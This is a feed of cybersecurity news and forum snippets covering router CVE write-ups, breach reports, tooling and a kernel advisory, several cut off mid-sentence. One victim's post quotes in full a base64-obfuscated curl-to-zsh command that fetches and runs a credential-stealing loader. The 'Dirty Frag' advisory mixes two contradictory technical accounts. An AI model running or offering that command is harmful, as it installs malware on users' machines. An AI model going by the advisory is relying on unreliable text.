Been working on a small side project called Signal. It's basically a 60-second daily puzzle where you pick the suspicious signal/log/message out of a few options. Wanted to make something lightweight and habit-forming instead of another huge training platform. Still early MVP stage, but would genuinely love feedback from people here on whether the format feels interesting or completely pointless 😅 [https://signal-gaming.vercel.app/](https://signal-gaming.vercel.app/)
Secrets management is one of those boring enterprise topics that suddenly becomes very interesting once something gets hacked. Crypto4A just launched QxVault, a new “quantum-safe” platform designed to compete with tools like AWS Secrets Manager and Azure Key Vault, while also pushing the idea of sovereign infrastructure outside the control of U.S. hyperscalers. There is definitely some buzzword overload here, but the broader shift toward post-quantum cryptography and hardware-backed security is very real.
Disclosure/write-up for CVE-2021-21735 affecting the ZTE ZXHN H168N V3.5. The issue is cataloged as information disclosure, but the useful part is the authorization failure: wizard handlers under the setup surface exposed `PPPoE` and `WLAN` material that should have required authenticated configuration access. Firmware analysis points to a brittle whitelist decision around the `QuickSetup` flow, including routes such as `wizard_pppoe_lua.lua` and `wizard_wlan_config_lua.lua`. The write-up keeps secrets redacted and focuses on the route behavior, firmware logic, deployment-dependent admin compromise path, disclosure timeline, and the ZTE Low vs NVD Medium severity split.
I published a write-up on CVE-2021-21735 in the ZTE ZXHN H168N V3.5. The bug was treated as an information disclosure, but the exposed data was not harmless telemetry. Wizard routes leaked `PPPoE` and `WLAN` material, and in some ISP deployments the `PPPoE` identifier could map into the hidden admin credential model. That changes the practical impact from “data leak” to possible router admin compromise and Wi-Fi compromise. The write-up walks through the redacted evidence, firmware routing logic, affected/fixed versions, disclosure timeline, and why the **ZTE 3.5** Low rating and **NVD 6.5** Medium rating tell different stories.
Bumblebee is a read-only inventory collector for package, extension, and developer-tool metadata on macOS and Linux developer endpoints. It answers a narrow supply-chain response question: when an advisory names a package, extension, or version, which developer machines show a match in their on-disk metadata right now? SBOMs help answer what shipped, and EDR helps answer what ran or touched the network, but supply-chain response often needs a different view: messy local state across lockfiles, package-manager metadata, extension manifests, and supported developer-tool configs. Bumblebee turns that scattered on-disk state into structured NDJSON component records and, when given an exposure catalog, flags exact matches for fast, read-only exposure checks when responders already know what they are looking for.

Soooooo a while ago I found this website called [https://tesfilesr.com/](https://tesfilesr.com/) after I was redirected from a fishy free games site. Don't go on it (or do, it's just a set of instructions. Don't follow the instructions I guess) The site instructed users to run this terminal command: "curl -s $(echo 'aHR0cHM6Ly8xMnJhZnNxd3dxMTIuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD01MGU0YWZhY2VjYjcxMDAxZTdlZmJjODU2MTlmY2E0OQ=='|base64 -D)|zsh" At the time I wasn't thinking right, so I saw that the website had the github logo and said "verified", aaaaaand I actually ran it. Not too long later, my Instagram acc was hacked: \- Account was set to public \- some crypto scam promo was put on my story. I kicked them out and changed my password for literally everything) I analysed the command a bit, and it seems to: \- Use Base64 to decode a hidden URL \- Use curl to download a shell script \- Pipe it directly into zsh to execute I retrieved the script, and saw that it's a multi stage loader that: \- collects system/locale/IP data \- sends telemetry to a remote server \- conditionally executes a second-stage AppleScript payload via osascript \- and to top it all off, runs it all silently in the background. But now I'm a bit curious, can someone who's maybe a bit more advanced than me explore this a bit further? Thanks!!

Threat Intel: ShinyHunters Leaks 9.4GB Database of 7-Eleven Franchisee Systems Post-Extortion Refusal
**Overview**: On May 24, 2026, the data breach notification service Have I Been Pwned (HIBP) integrated a dataset originating from an April 2026 extortion campaign targeting 7-Eleven. The breach, attributed to the threat actor group ShinyHunters, compromised 185,300 unique accounts and resulted in a 9.4GB cleartext data dump following the organization's refusal to comply with ransom demands. **Attack Vector & Targeted Infrastructure** The initial compromise occurred on or around **April 8, 2026**. Forensic indicators and lateral movement tracking indicate the threat actors did not target point-of-sale (POS) networks or central customer-facing databases. Instead, the breach was localized to external cloud-managed systems - specifically infrastructure dedicated to corporate **franchisee document management and onboarding portals**. The vector aligns with recent ShinyHunters operational methodology involving targeted credential harvesting, session hijacking, and the exploitation of permissive API keys within integrated third-party identity management providers. **Data Profile & Exfiltrated Schemas** Following a failed extortion deadline set by the actors between April 17 and April 21, the full 9.4GB archive was leaked to the public internet. The schema validation confirms that the compromised database contains: * **Primary PII:** Full names, verified email addresses, mobile and landline telephone numbers, and residential physical addresses. * **Sensitive Administrative Records:** Dates of birth and corporate filing metadata. * **Vetting Documentation:** A subset of the leaked files contains sensitive background check documentation, including Social Security Numbers (SSNs) and state-issued identification numbers submitted during the franchise application phase. **Operational Timeline** * **2026-04-08:** Detection of unauthorized access to the franchisee document storage cluster. * **2026-04-17:** ShinyHunters list 7-Eleven on their public Tor leak site, establishing a 4-day payment window. * **2026-04-22:** Following 7-Eleven's administrative refusal to negotiate or pay the extortion fee, the actors published the complete unencrypted archive. * **2026-05-24:** Complete data ingestion, de-duplication, and formal verification completed by HIBP. **Technical Analysis & Core Metrics** The incident highlights a persistent trend where threat actors deliberately target non-production, administrative, or third-party adjacent business environments to bypass hardened perimeter controls protecting primary consumer data.
Ask a cybersecurity pro about Network Detection and Response (NDR) and you might still hear "Noisy," "Too much data."

Lawmakers in both houses of Congress are demanding answers from the U.S. Cybersecurity & Infrastructure Security Agency (CISA) after KrebsOnSecurity reported this week that a CISA contractor intentionally published AWS GovCloud keys and a vast trove of other agency secrets on a public GitHub account. The inquiry comes as CISA is still struggling to contain the breach and invalidate the leaked credentials. On May 18, KrebsOnSecurity reported that a CISA contractor with administrative access to the agency’s code development platform had created a public GitHub profile called “ Private-CISA ” that included plaintext credentials to dozens of internal CISA systems. Experts who reviewed the exposed secrets said the commit logs for the code repository showed the CISA contractor disabled GitHub’s built-in protection against publishing sensitive credentials in public repos. CISA acknowledged the leak but has not responded to questions about the duration of the data exposure. However, experts who reviewed the now-defunct Private-CISA archive said it was originally created in November 2025, and that it exhibits a pattern consistent with an individual operator using the repository as a working scratchpad o

"When performing security assessments on HTTP-based applications, whether web, mobile, APIs, or thick clients, the standard workflow is straightforward: put Burp Suite in the middle, and you’re good to go. Most of the time, that’s all you need. Every now and then, though, you run into a small but significant class of applications where that workflow breaks down. Custom protocols, payload encryption, request signatures, replay protection, non-standard encoding, these are the scenarios where you can no longer work manually the way you’re used to, and where Burp’s automated tools (Intruder, Scanner) stop being useful because they’re operating on data they can’t meaningfully read or modify. In this talk I took one of these complexities as example, additional payload encryption**,** and used it as a vehicle to explore advanced approaches based on **custom Burp extensions** to restore full testability: working manually in Proxy and Repeater, running automated tools like Intruder and Scanner, and even driving external tools like SQLMap through Burp, all as if the complexity simply weren’t there."

In March 2026, attackers exploited a pull_request_target misconfiguration in the aquasecurity/trivy-action GitHub Action to exfiltrate organization and repository secrets, then used those credentials to backdoor LiteLLM on PyPI (see Trivy’s post-mortem for the full timeline). zizmor is a static analyzer that GitHub Actions users run to catch exactly these misconfigurations before they ship. When GitHub Actions added support for YAML anchors in September 2025, a small but high-value slice of the ecosystem started writing workflows that zizmor could only analyze on a best-effort basis. Over the past three months, Trail of Bits collaborated with the zizmor maintainers to bring zizmor ’s anchor support up to full coverage. First, we fixed parsing bugs that caused crashes, produced wrong-location findings, and silently mishandled aliased values. Second, we surfaced deserialization edge cases that broke zizmor on otherwise valid workflows. Finally, we helped align zizmor ’s expression evaluator with GitHub’s own Known Answer Tests . We validated all of this against a new corpus of 41,253 workflows from 6,612 high-value open-source repositories. The result: 20 filed issues, 15 merged pull requests. Building the test corpus To u

Today, we are extending Cloudflare’s cloud access security broker (CASB) to support the Claude Compliance API . Security and compliance teams can now monitor Claude usage directly in the Cloudflare dashboard. No endpoint agents required. Enterprise security teams have long struggled to see how users interact with sanctioned and unsanctioned applications. The rapid adoption of AI applications has made this harder. Employees spend significant time in these new surface areas, and their interactions differ from traditional SaaS: users upload files, share freeform prompts, and providers generate content that may contain sensitive data. Cloudflare CASB helps solve this problem. One API integration gives you out-of-band visibility and control over the applications your organization uses. This integration builds on our existing support for AI governance , extending coverage over the most common tools security teams now manage. The fast path to safe AI adoption AI adoption has outpaced security governance. While IT and security teams raced to enable AI tools for productivity, the controls lagged behind. Most organizations today operate with partial visibility: they may block unauthorized AI tools at the network layer, but they cannot see what happens inside sanctioned ones. This matters because AI tools are not like traditional SaaS applications. They are conversational, persistent, and deeply integrated into workflows through APIs and agent frameworks.

Overview A privilege escalation vulnerability, nicknamed "Dirty Frag," has been discovered in the Linux kernel versions 4.10 and later. This vulnerability is a result of chaining together two previously discovered vulnerabilities, xfrm-ESP Page-Cache Write CVE-2026-43284 and the RxRPC Page-Cache Write CVE-2026-43500 . This vulnerability was publicly disclosed on May 07, 2026. Description Dirty Frag is a Linux kernel vulnerability affecting the IPv4/IPv6 fragmentation and reassembly subsystem. The issue stems from improper handling of overlapping or malformed fragment offsets during the reassembly process. An attacker capable of sending crafted network packets to a vulnerable host can exploit the flaw to trigger memory corruption conditions. The publicly documented proof of concept demonstrates that fragmentation logic can be manipulated such that the kernel processes inconsistent fragment states, enabling a controlled write out-of-bounds scenario. When successfully exploited, this can result in local or remote denial of service (kernel panic) and, depending on configuration and kernel build options, may create a primitive for more advanced memory manipulation. The vulnerability arises from insufficient validation of fragment metadata during reassembly, specifically around: Incorrect or incomplete enforcement of fragment boundary checks Acceptance of overlapping fragments in unsafe sequences Inadequate cleanup when transitions occur between valid and invalid fragment states The fragment queue logic in affected kernels does not fully verify that fragment offsets, sizes, and overlap
